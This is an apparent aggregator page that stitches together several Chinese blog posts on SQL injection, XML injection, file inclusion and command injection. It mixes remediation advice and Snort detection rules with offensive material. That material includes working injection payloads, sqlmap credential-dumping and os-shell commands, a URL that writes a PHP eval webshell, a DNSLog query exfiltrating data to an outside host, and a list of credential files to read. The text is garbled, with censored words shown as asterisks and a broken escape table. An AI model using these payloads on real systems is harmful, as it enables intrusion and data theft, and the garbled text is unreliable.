精华内容
下载资源
问答
  • 检测到目标URL存在SQL注入漏洞
    千次阅读
    2021-01-13 08:13:24

    解决办法防护建议包括部署分层安全措施(包括在接受用户输入时使用参数化的查询)、确保应用程序仅使用预期的数据、加固数据库服务器防止不恰当的访问数据。

    建议使用以下措施防范SQL注入漏洞:

    对于开发

    ========

    使用以下建议编写不受SQL注入***影响的web应用。

    参数化查询:SQL注入源于***者控制查询数据以修改查询逻辑,因此防范SQL注入***的最佳方式就是将查询的逻辑与其数据分隔,这可以防止执行从用户输入所注入的命令。这种方式的缺陷是可能对性能产生影响(但影响很小),且必须以这种方式构建站点上的每个查询才能完全有效。只要无意中绕过了一个查询,就足以导致应用受SQL注入的影响。以下代码显示的是可以进行SQL注入的SQL语句示例。

    sSql = "SELECT LocationName FROM Locations "; sSql = sSql + " WHERE LocationID = " + Request["LocationID"]; oCmd.CommandText = sSql;

    下面的例子使用了参数化的查询,不受SQL注入***的影响。

    sSql = "SELECT * FROM Locations ";

    sSql = sSql + " WHERE LocationID = @LocationID"; oCmd.CommandText = sSql; oCmd.Parameters.Add("@LocationID", Request["LocationID"]);

    应用程序没有包含用户输入向服务器发送SQL语句,而是使用-@LocationID-参数替代该输入,这样用户输入就无法成为SQL执行的命令。这种方式可以有效的拒绝***者所注入的任何输入,尽管仍会生成错误,但仅为数据类型转换错误,而不是***可以利用的错误。

    以下代码示例显示从HTTP查询字符串中获得产品ID并使用到SQL查询中。请注意传送给SqlCommand的包含有SELECT的字符串仅仅是个静态字符串,不是从输入中截取的。此外还请注意使用SqlParameter对象传送输入参数的方式,该对象的名称(@pid)匹配SQL查询中所使用的名称。

    C#示例:

    string connString = WebConfigurationManager.ConnectionStrings["myConn"].ConnectionString;

    using (SqlConnection conn = new SqlConnection(connString))

    {

    conn.Open();

    SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM Products WHERE ProdID=@pid", conn);

    SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50);

    prm.Value = Request.QueryString["pid"];

    cmd.Parameters.Add(prm);

    int recCount = (int)cmd.ExecuteScalar();

    }

    VB.NET示例:

    Dim connString As String = WebConfigurationManager.ConnectionStrings("myConn").ConnectionString

    Using conn As New SqlConnection(connString) conn.Open()

    Dim cmd As SqlCommand = New SqlCommand("SELECT Count(*) FROM Products WHERE ProdID=@pid", conn)

    Dim prm As SqlParameter = New SqlParameter("@pid", SqlDbType.VarChar, 50)

    prm.Value = Request.QueryString("pid")

    cmd.Parameters.Add(prm)

    Dim recCount As Integer = cmd.ExecuteScalar()

    End Using

    验证输入:可通过正确验证用户输入的类型和格式防范大多数SQL注入***,最佳方式是通过白名单,定义方法为对于相关的字段只接受特定的帐号号码或帐号类型,或对于其他仅接受英文字母表的整数或字母。很多开发人员都试图使用黑名单字符或转义的方式验证输入。总体上讲,这种方式通过在恶意数据前添加转义字符来拒绝已知的恶意数据,如单引号,这样之后的项就可以用作文字值。这种方式没有白名单有效,因为不可能事先知道所有形式的恶意数据。

    对于安全操作

    ============

    使用以下建议帮助防范对web应用的SQL注入***。

    限制应用程序权限:限制用户凭据,仅使用应用运行所必需权限的。任何成功的SQL注入***都会运行在用户凭据的环境中,尽管限制权限无法完全防范SQL注入***,但可以大大增加其难度。

    强系统管理员口令策略:通常***者需要管理员帐号的功能才能使用特定的SQL命令,如果系统管理员口令较弱的话就比较容易暴力猜测,增加成功SQL注入***的可能性。另一个选项就是根本不使用系统管理员口令,而是为特定目的创建特定的帐号。

    一致的错误消息方案:确保在出现数据库错误时向用户提供尽可能少的信息。不要泄漏整个错误消息,要同时在web和应用服务器上处理错误消息。当web服务器遇到处理错误时,应使用通用的web页面响应,或将用户重新定向到标准的位置。绝不要泄漏调试信息或其他可能对***者有用的细节。

    有关如何在IIS中关闭详细错误消息的说明请见:

    http://www.microsoft.com/windows2000/en/server/iis/default.asp?url= /windows2000/en/server/iis/htm/core/iierrcst.htm

    使用以下句法在Apache服务器上取缔错误消息:

    Syntax: ErrorDocument <3-digit-code>

    Example: ErrorDocument 500 /webserver_errors/server_error500.txt

    WebSphere之类的应用服务器通常默认安装启用了错误消息或调试设置。有关如何取缔这些错误消息的信息,请参考应用服务器文档。

    存储过程:如果不使用的话,请***master..Xp_cmdshell、xp_startmail、xp_sendmail、

    sp_makewebtask之类的SQL存储过程。

    SQL注入漏洞根本上还是取决于web应用程序的代码。尽管不是修复,但可以通过向IDS中添加结合了正则表达式的规则作为紧急措施检测SQL注入***。尽管这无法修复所有可能的SQL注入漏洞,但便于实施,并且要求***者必须要改进其方法才能实现成功的***。可如下使用正则表达式。

    ***SQL元字符的正则表达式:

    /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix

    可如下将上述正则表达式添加到Snort规则:

    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection- Paranoid";flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)

    传统SQL注入***的正则表达式:

    /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

    ***有UNION关键字的SQL注入***的正则表达式:

    /((\%27)|(\'))union/ix

    (\%27)|(\')

    可为其他的SQL查询(如select、insert、update、delete、drop等)编写类似的正则表达式。

    在MS SQL服务器上检测SQL注入***的正则表达式:

    /exec(\s|\+)+(s|x)p\w+/ix

    对于质量保证

    ============

    解决SQL注入缺陷最终要求基于代码的修复,“对于开发”和“对于安全操作”部分所述的步骤提供了修复这些漏洞所必要的信息。以下步骤概述了如何对应用程序手动测试SQL注入。

    如何对应用程序手动测试SQL注入:

    1. 在浏览器中打开希望测试SQL注入漏洞的web应用。

    2. 将鼠标光标悬停在Web站点的链接上并注意底部的状态栏,可以看到链接所指向的URL。找到其中带有参数的URL,如http://www.site.com/articleid.asp?id=42

    注释:如果没有在状态栏中看到任何URL,请点击链接然后查看地址栏,直到找到带有参数的URL。

    3. 找到带有参数的URL后,点击链接进入网页,在地址栏中可以看到状态栏中的URL。

    4. 有两种测试SQL注入脚本的方法,请使用全部两种方式依次测试每个参数值。

    方法1. 在地址栏中点击光标,高亮显示参数值,如高亮显示name=value中的value并用单引号(')替换,这时应类似于name='。

    方法2. 在地址栏中点击光标,在value中间输入单引号('),这时应类似于name=val'ue。

    5. 点击GO键将请求发送到Web服务器。

    6. 分析Web服务器响应中的错误消息,大多数数据库错误消息都类似于以下示例:

    Example error 1:

    Microsoft OLE DB Provider for SQL Server error '80040e14'

    Unclosed quotation mark before the character string '51 ORDER BY some_name'. /some_directory/some_file.asp, line 5

    Example error 2:

    ODBC Error Code = S1000 (General error)

    [Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended

    Example error 3:

    Error: 1353 SQLSTATE: HY000 (ER_VIEW_WRONG_LIST)

    Message: View's SELECT and view's field list have different column counts

    7. 有时错误消息并不明显,隐藏在页面源码中。如果要查看这些消息,必须查看页面的HTML源码并搜索错误。如果要在Internet Explorer中实现这个操作,点击“查看”菜单,然后选择“源码”选项,这可以打开记事本显示页面的HTML源码。在记事本中,打开“编辑”菜单并选择“查找”。这时会出现一个对话框询问“查找内容”。输入Microsoft OLE DB或[ODBC]然后点击“查找下一个”。

    8. 如果6或7步成功,则Web站点存在SQL注入漏洞。

    更多相关内容
  • SQL注入漏洞扫描检测

    2018-12-20 10:27:44
    有SQL注入检测的全套代码和论文介绍,C#,Web应用漏洞检测技术,是一种针对web应用的积极防御技术。该技术在应用尚未遭受攻击前,模拟黑客攻击的方式目标系统进行各种探测,发现系统潜在的漏洞。由于web应用工作在...
  • SQL注入漏洞给相应检测及防御技术进行研究,通过本地创建的实验环境,将Pubs数据库作为案例和多种渗透方法实现SQL注入实验。以SQL注入攻击特点为基础,提出四种具体防御措施。实验表示,此防御措施Web应用系统能够...
  • WEB漏洞检测项.xlsx

    2020-01-16 12:47:49
    整理出来web渗透检测项,分别从注入漏洞、XSS、安全配置错误、登录认证缺陷、敏感信息泄露、权限控制不严格、跨站请求伪造、存在漏洞的组件、其他类型漏洞、其他漏洞、已公开高位漏洞等部分,对检测项依次做漏洞类型...
  • 基于Chopping的Web应用SQL注入漏洞检测方法.pdf
  • web漏洞--注入漏洞

    千次阅读 2022-01-07 19:58:22
    5.命令注入漏洞 1.Sql注入 1.概念 1.SQL注入是一种Web应用代码中的漏洞。 2.黑客可以构造特殊数据库请求,使Web应用执行带有附加条件的SQL语句 用户请求中使用了带有参数的值,但是没有进行任何过滤 用户请求...

    目录

    1.Sql注入

    2.Xml注入(xml实体注入,XXE)

    3.远程文件包含漏洞

    4.本地文件包含漏洞

    5.命令注入漏洞


    1.Sql注入

    1.概念

    1.SQL注入是一种Web应用代码中的漏洞。

    2.黑客可以构造特殊数据库请求,使Web应用执行带有附加条件的SQL语句

      用户请求中使用了带有参数的值,但是没有进行任何过滤

      用户请求中使用了带有参数的值,没有进行任何转码

    3.通过特殊的请求,Web应用向数据库访问时会附带其它命令:

      任意查询命令

      创建数据库/表

      更新数据库/表内容

      更改用户权限

      删除数据/表/数据库

      执行系统命令

    2.原理

    1.就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。

    2.应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。目前的数据库一般都是提供api以支持管理,应用使用底层开发语言如 Php,Java,asp,Python与这些api进行通讯。对于数据库的操作,目前普遍使用一种SQL语言(Structured Query Language语言,SQL语言的功能包括查询、操纵、定义和控制,是一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户 指出做什么而不需要指出怎么做),SQL作为字符串通过API传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的SQL是合法的还是不合法的,它完全信任传入的数据,如果传入的SQL语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。

    3.对于数据安全的影响

    1.可读取/修改数据库中的库和表

      获取用户的账号,密码(可能被加密过),邮箱,联系方式

      信用卡信息

      修改产品价格

      删除数据

    2.可执行系统命令

      修改权限,获取系统管理员权限

      修改任意文件

      安装后门

    4.方法

     1.右边是一个登陆界面

      点击“submit”之后,web应用会执行:

        接收发送的POST请求

        获取用户名和密码:(bart, simpson)

        构建SQL语句:select * from users where username = 'bart' and password = 'simpson';

        发送给数据库服务器来验证

    2.这个时候,我们可以对username进行变化

      输入的用户名不是简单的bart,而是 bart' and 1=1; --

      这样整个语句变成如下:

        select * from users where username = 'bart' and 1=1; -- ' and password = 'simpson';

      这个时候,--后面的都会变成注释,不用密码就能进行登陆。

    5.类型

    简单注入(simple SQL injection)

      永真式:最后加入 or 1=1 来保证无论如何都能获取数据。

      错误语句:让Web应用构造错误的SQL语句来抛异常,来判断数据库类型

      结束注释:使用注释符注释剩余语句

      联合查询:使用union all,后面可以写我要查询的真正语句

    例子dvwa

      1' and 1=1; #    --判断是否可以被注入

      1' or 1=1; #     --来尝试获取全部账号信息

      1' union all select 1, 2; #     --来判断可以获取的参数个数

      1' union all select 1,(@@version); #    --来获取数据库版本

      1' union all select 1,(database()); #    --获取数据库名称

      1' union all select 1, group_concat(column_name) from information_schema.columns where table_name='users' ; #    --获取表所有列名

    盲注(Blind SQL injection)

      一般我们可以根据返回数据获取我们想要的信息。

      但一些页面,我们是获取不到详细信息。信息只有正确或不正确

    6.SQL-Server、MySQL、ORACLE数据库的注入方法

    1.注释符:--(MSSQL, MySQL),  #(MySQL),   /*comment*/(MySQL)

    2.单行用分号隔开,运行多个SQL语句:MSSQL

    3.判断(IF,ELSE语句)

      MySQL:IF(condition,true-part,false-part)

        SELECT IF(1=1,'true','false')

      MSSQL:IF condition true-part ELSE false-part

        IF (1=1) SELECT 'true' ELSE SELECT 'false'

      Oracle:BEGIN  IF condition THEN true-part; ELSE false-part; END IF; END;

    BEGIN IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

    4.字符串链接:

      MSSQL:+

      MySQL,Oracle: ||

    7.安全防护

    为什么会出现SQL注入漏洞?

    数据库可以运行系统命令

      用最小化权限的账户启动数据库

      禁止让数据库执行系统命令

    连接数据库的用户权限过大

      使用IDS,WAF等监控是否有异常操作

      连接数据库的用户权限最小化

    错误信息返回过多的信息

      统一管理错误信息

      禁止向用户提供错误信息

    在服务器没有进行有效的过滤,针对用户输入的特殊符号没有转码

      过滤所有客户端数据

      审核数据

    8.一些SQL注入漏洞检测工具的使用

    SQLMAP

      功能强大

      界面不友好

    AWVS/APPScan/WebInspect

      可以查找各种类型的漏洞

      速度较慢

    2.Xml注入(xml实体注入,XXE)

    1.概念

    XML注入类似于SQL注入,XML文件一般用作存储数据及配置,如果在修改或新增数据时,没有对用户可控数据做转义,直接输入或输出数据,都将导致XML注入漏洞。

    2.产生的原因

    XML注入产生的原因与SQL注入差不多。

      传输的数据包含了标签内容。

      修改数据时会覆盖原有的标签

    3.检测与防护

    对用户输入进行检查过滤

    对特殊字符进行转码

      & --> &

      < --> <

      > --> >

      " --> "

      ' --> '

    4.例子

    服务器是生成XML来存储用户数据

    <?xml version="1.0" encoding="UTF-8"?>
    <USER role="guest"> 来宾用户
        <name>likui</name>  
        <passwd>123</passwd>
    </USER>
    <USER role="admin"> 管理员
        <name>admin</name>
        <passwd>1adtyr32e762t7te3</passwd>
    </USER>

    guest用户申请改密码,会更改123

    要是用户提交的不是简单的字母组合,而是如下信息:

    12345</passwd></USER><USER role="admin"><name>admin</name><passwd>123456</passwd></USER><!---

    这样,配置文件会变成:

    <?xml version="1.0" encoding="UTF-8"?>
    <USER rule="guest">
        <name>user</name>
        <passwd>12345</passwd>
    </USER>
    <USER rule="admin">
        <name>admin</name>
        <passwd>123456</passwd>
    </USER><!---</passwd>
    </USER>
    <USER role="admin">
        <name>admin</name>
        <passwd>1adtyr32e762t7te3</passwd>
    </USER>

    3.远程文件包含漏洞

    1.概念

    1.程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含

    2.在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

    3.如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。

    2.PHP常见的导致文件包含的函数如下:

      include() 包含 重复调用

      include_once() 只有一次性调用

      require() 请求

      require_once()

      fopen()打开

      readfile()读取

    3.利用方式

    1.执行任意代码,来操作服务器

    2.操作数据库,插入恶意数据,可能获取系统权限

    3.修改系统配置,修改网络配置,可能对服务器及网络造成影响

    4.代码注入攻击后可以进一步对网络渗透,由于代码注入攻击多半可获取系统权限,对网络的进一步渗透难度大大降低

    4.代码审计方法

    查看是否有如下代码:

      include(), include_once()

      require(), require_once()

      fopen()

      readfile()

    5.修复方法

    1.不需要执行远程代码时,可以修改php.ini配置:

      allow_url_fopen = Off

      allow_url_include = Off

    2.不要直接导入用户输入的内容

      执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户3.只能提交“1、2、3”等参数,代表相应代码。

    4.本地文件包含漏洞

    1.概念

    1.与远程文件包含漏洞类似,可以读取任意的本地文件

    2.可以通过远程文件包含漏洞来生成本地文件包含漏洞的代码来利用

    3.本地文件包含漏洞可以包含本地文件,在条件允许时甚至能执行代码

      上传图片马,然后包含

        读敏感文件,读PHP文件

        包含日志文件GetShell

        包含/proc/self/envion文件GetShell

        包含data:或php://input等伪协议

        若有phpinfo则可以包含临时文件

    2.所用到的函数

    与远程文件包含漏洞所用到的函数相同:

      include(), include_once()

      require(), require_once()

      fopen()

      readfile()

    3.利用方式

    1.漏洞危害:

      执行任意代码

      包含恶意文件控制网站

      甚至控制服务器

    2.上传带有PHP代码的图片

      http://.../dvwa/vulnerabilities/fi/?page=../../../a.jpg

    3.读取PHP文件

    http://.../dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../a.php

    4.读取系统敏感文件

      http://.../dvwa/vulnerabilities/fi/?page=/etc/passwd

    5.系统敏感文件有:

      Windows:

        C:\boot.ini   // 查看系统版本

        C:\Windows\System32\inetsrv\MetaBase.xml // IIS配置文件

        C:\Windows\repair\sam // 存储系统初次安装的密码

        C:\Program Files\mysql\my.ini // Mysql配置

        C:\Program Files\mysql\data\mysql\user.MYD // Mysql root

        C:\Windows\php.ini // PHP配置信息

        C:\Windows\my.ini // Mysql配置信息

        ... ...

      Linux:

        /root/.ssh/authorized_keys

        /root/.ssh/id_rsa

        /root/.ssh/id_ras.keystore

        /root/.ssh/known_hosts

        /etc/passwd

        /etc/shadow

        /etc/my.cnf

        /etc/httpd/conf/httpd.conf

        /root/.bash_history

        /root/.mysql_history

        /proc/self/fd/fd[0-9]*(文件标识符)

        /proc/mounts

        /porc/config.gz

    4.PHP语言中的封装协议

    1.访问本地文件

    file:// — 访问本地文件系统

      文件系统是PHP使用的默认封装协议,展现了本地文件系统

    php://filter -- 对本地磁盘文件进行读写

      php://filter是一种元封装器,设计用于“数据流打开”时的“筛选过滤”应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器

    2.代码任意执行

    php:// — 访问各个输入/输出流(I/O streams)

      PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读

    data://伪协议

      这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

      利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

    3.目录遍历

    glob://伪协议

      glob:// 查找匹配的文件路径模式

    5.修复方法

    1.不要直接导入用户输入的内容(与远程文件包含漏洞相同)

      执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户2.只能提交“1、2、3”等参数,代表相应代码。

    5.命令注入漏洞

    1.概念

    1.用户通过浏览器提交执行命令,由于服务器没有针对执行函数做过滤导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

    2.在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

    2.对系统安全产生的危害

    1.继承Web服务程序的权限去执行系统命令或读 - 写文件

      运行Web服务的用户权限等于黑客利用漏洞后执行命令的权限

    2.反弹shell

      通过特定方式进行反弹shell攻击

    3.控制整个网站甚至控制服务器

      根据权限,可能服务器整体被沦陷

    4.进一步内网渗透

      把当前控制的机器当作跳板来控制其它内网机器

    3.脚本语言中可以执行系统命令的函数

    1.PHP

      system() 输出并返回最后一行shell结果。 

      exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 

      passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 

    2.JSP

      Runtime.getRuntime().exec(<commandstr>)

    4.第三方组件存在的代码执行漏洞

    Struts2漏洞(s2-016)

      Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。

    详细信息请查找 s2-016

    5.命令注入漏洞的修复方法

    PHP

      尽量不要执行外部命令

      尽量使用脚本解决工作,少用执行命令函数,php中禁止disable_functions

      使用自定义函数或函数库来替代外部命令的功能

      程序参数的情况,escapshellcmd过滤

      程序参数值的情况,escapeshellarg过滤

      参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义

      使用safe_mode_exec_dir指定可执行文件的路径

    展开全文
  • Web应用SQL注入漏洞检测工具的设计与实现.pdf
  • Web漏洞详解:SQL注入漏洞

    千次阅读 2022-04-20 21:39:10
    SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有用户输入的内容进行安全检查,直接代入数据库进行查询,导致了...

    工作多年后,我打算将Web漏洞做一个整理记录,一方面方便自己,另一方面方便想要学习或转行网络安全行业的小伙伴,从本文开始,我将从漏洞原理、漏洞测试、漏洞修复等方面详细讲解Web系列漏洞。

    1.SQL注入漏洞原理

    SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有对用户输入的内容进行安全检查,直接代入数据库进行查询,导致了sql注入的发生。

    SQL注入漏洞包括:union注入、boolean注入、报错注入、时间盲注、堆叠查询注入、二次注入、宽字节注入、cookie注入、base64注入、XFF注入等。

    2.SQL注入漏洞测试

    2.1SQL注入漏洞发现

    判断是否存在注入漏洞,使用单引号报错, and 1=1页面正常,and 1=2页面不正常,则判断存在sql注入漏洞。

    2.2SQL注入漏洞手动测试

    上面说过SQL注入漏洞分了很多种类,受限于篇幅,这里只以union注入举例,其他将附上链接,感兴趣的小伙伴可以自行查看。

    (1)union注入,又称联合注入,它是利用union和前面的一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同。

    A.判断是否存在漏洞:(www.test.com为本地搭建环境)

    http://www.test.com/web/union.php?id=1

    http://www.test.com/web/union.php?id=1'

    http://www.test.com/web/union.php?id=1 and 1=1

    http://www.test.com/web/union.php?id=1 and 1=2

    B.查询字段数量

    http://www.test.com/web/union.php?id=1 order by 3

    当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

     C.查询SQL语句插入位置

    http://www.test.com/web/union.php?id=-1 union select 1,2,3

    可以看到2,3位置可以插入SQL语句。

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

    D.获取当前数据库库名

    2位置修改为:database()

    http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

    源码:

    <?php
    $con=mysqli_connect("localhost","root","root","security");
    mysqli_set_charset($con,'utf8');
    if(!$con){
    	echo "Connect failed : ".mysqli_connect_error();
    }
     
    $id=$_GET['id'];
    $result=mysqli_query($con,"select * from users where id=".$id );
    $row=mysqli_fetch_array($result);
    echo $row['username']." : ".$row['password'];
    ?>

    union注入详解:https://blog.csdn.net/SouthWind0/article/details/82913183

    (2)Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。

     Boolean注入详解:https://blog.csdn.net/SouthWind0/article/details/82917798

    (3)报错注入:输入'等字符,SQL语句报错,程序直接将错误信息输出到了页面上,就可以尝试利用报错注入来获取数据。常用到的函数:updatexml() 、extractvalue()、exp()、floor()等。

    报错注入详解:https://blog.csdn.net/SouthWind0/article/details/82924149

    (4)时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

    时间盲注详解:https://blog.csdn.net/SouthWind0/article/details/82926845

    (5)堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

    堆叠查询注入详解:https://blog.csdn.net/SouthWind0/article/details/82929895

    (6)二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。

    二次注入详解:https://blog.csdn.net/SouthWind0/article/details/82931871

    (7)宽字节注入:id=1’时并没有报错,但多了一个转义符,反斜杠,在地址后先加%df,再加单引号,因为反斜杠的编码是%5c,而GBK编中,%df%5c是繁体字的“連”,单引号成功逃逸。再使用注释符来注释后面多余的单引号。

    宽字节注入详解:https://blog.csdn.net/SouthWind0/article/details/83342847

    (8)cookie注入:指的是针对cookie数据进行注入。

    cookie注入详解:https://blog.csdn.net/SouthWind0/article/details/83343914

    (9)base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF的检测。

    Base64注入详解:https://blog.csdn.net/SouthWind0/article/details/83344880

    (10)XFF注入:指的是针对X-Forwarded-For进行注入,X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。

     XFF注入详解:https://blog.csdn.net/SouthWind0/article/details/83348706

    2.3SQL注入漏洞自动化测试

    在真实的测试环境中,一般都是使用自动化工具进行测试SQL注入,sqlmap是当前安全工程师最喜欢使用的SQL注入自动化工具,它的基本用法如下:

    测试GET型:

    (1)判断是否存在注入

    sqlmap.py -u “http://xx.com/index.php?id=1”

    (2)获取所有数据库

    sqlmap.py -u “http://xx.com/index.php?id=1” --dbs

    (3)获取数据库中的表名

    sqlmap.py -u “http://xx.com/index.php?id=1” -D security --tables

    (4)获取表中的字段名

    sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users --columns

    (5)获取字段的内容

    sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users -C username,password --dump

    常用命令:

    列出所有用户:sqlmap.py -u “http://xx.com/index.php?id=1” --users

    获取用户密码:sqlmap.py -u “http://xx.com/index.php?id=1” --passwords

    获取当前网站数据库名称:

    sqlmap.py -u “http://xx.com/index.php?id=1” --current-db

    测试POST型:测试POST型请求报文、Cookie信息等。

    (1)cookie注入,猜解表

    sqlmap.py -u “http://xx.com/index.php” --cookie “id=1” --level 2 -D security --tables

    探测等级:--level,一共5个等级,可以不加level,默认为1。为2时会测试cookie,为3时会测试User-Agent/Referer。总之为了保证全面性,建议使用高的level。

    (2)判断文本请求是否存在注入

    sqlmap.py -r 1.txt

    2.4SQL注入漏洞深层次利用

    (1)手动利用

    最常见的用法是利用SQL注入向服务器写入webshell,网站路径可以通过phpinfo()页面信息、系统信息、以及数据包泄露绝对路径获得。写入一句话利用(注意写入目录需要有权限),其中x为php文件名:

    select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/x';

    如下所示:

    http://xx.test/test/union.php?id=-1%20union%20select%201,2,%27%3C?php%20@eval($_POST[cmd]);?%3E%27%20into%20outfile%20%27/var/www/html/test/shell.php%27

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

    (2)利用sqlmap

    反弹一个osshell:

    python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security" --os-shell

    执行操作系统命令:

    python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security" --os-cmd=OSCMD

    数据库提权:--priv-esc

    获取数据库shell:--sql-shell   

    注意:MySQL读写文件的条件限制,SQLMAP获取os-shell的需要文件写入操作:
    (1)、MySQL服务默认以mysql用户权限启动,并没有危险目录(/usr/lib64/mysql/plugin[root 755]、/var/www/html[root 755]、/var/spool/cron[root 700]、/root/.ssh[root 700]等)下的文件写入权限。
    (2)、MySQL 5.6.34版本以后的secure_file_priv参数默认值为NULL或指定的/var/lib/mysql-files,即禁止在危险目录写入。

    (3)DNSLog外带

    对于SQL盲注(布尔盲注、时间盲注),以及只有DNS出网的SQL注入,我们可以利用DNSLog来获取信息。作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。

    mysql通常会利用内置函数load_file()来完成DNSLOG,load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。
    通过show variables like '%secure%';查看load_file()可以读取的磁盘。
    A.当secure_file_priv为空,就可以读取磁盘的目录。
    B.当secure_file_priv为G:\,就可以读取G盘的文件。
    C.当secure_file_priv为null,load_file就不能加载文件。
    通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

    举例:select load_file(concat('\\\\',(select database()),'.mysql.uj4j2o.dnslog.cn\\abc'));

    注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

    3.SQL注入漏洞修复

    (1)建议不要直接拼接SQL语句,而应该使用预编译的方式进行参数化查询,这是解决此漏洞的根本方法。

    正确写法:select * from user where name = #{name};//这种底层会解析成预编译语句 select * from user where name = ?

    错误写法:select * from user where name = ${name};

    (2)对用户的输入进行检验过滤,过滤危险字符,如:;、'、"、()、,、\、--+、#、and、or、union、select、where、limit、group、by、hex、substr。此种方法存在缺陷,一方面可能会影响业务,另一方面可能会存在绕过。

    (3)为每个应用使用单独的、权限有限的数据库连接。

    (4)机密信息应该加密,秘钥信息分开存放,这样即使数据泄露,攻击者也无法解密。

     

    展开全文
  • 基于PHP的Web应用SQL注入漏洞检测系统的设计和实现.pdf
  • Web安全之Sql注入漏洞

    千次阅读 2021-10-05 09:49:31
    Sql注入漏洞 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除...
    • Sql注入漏洞
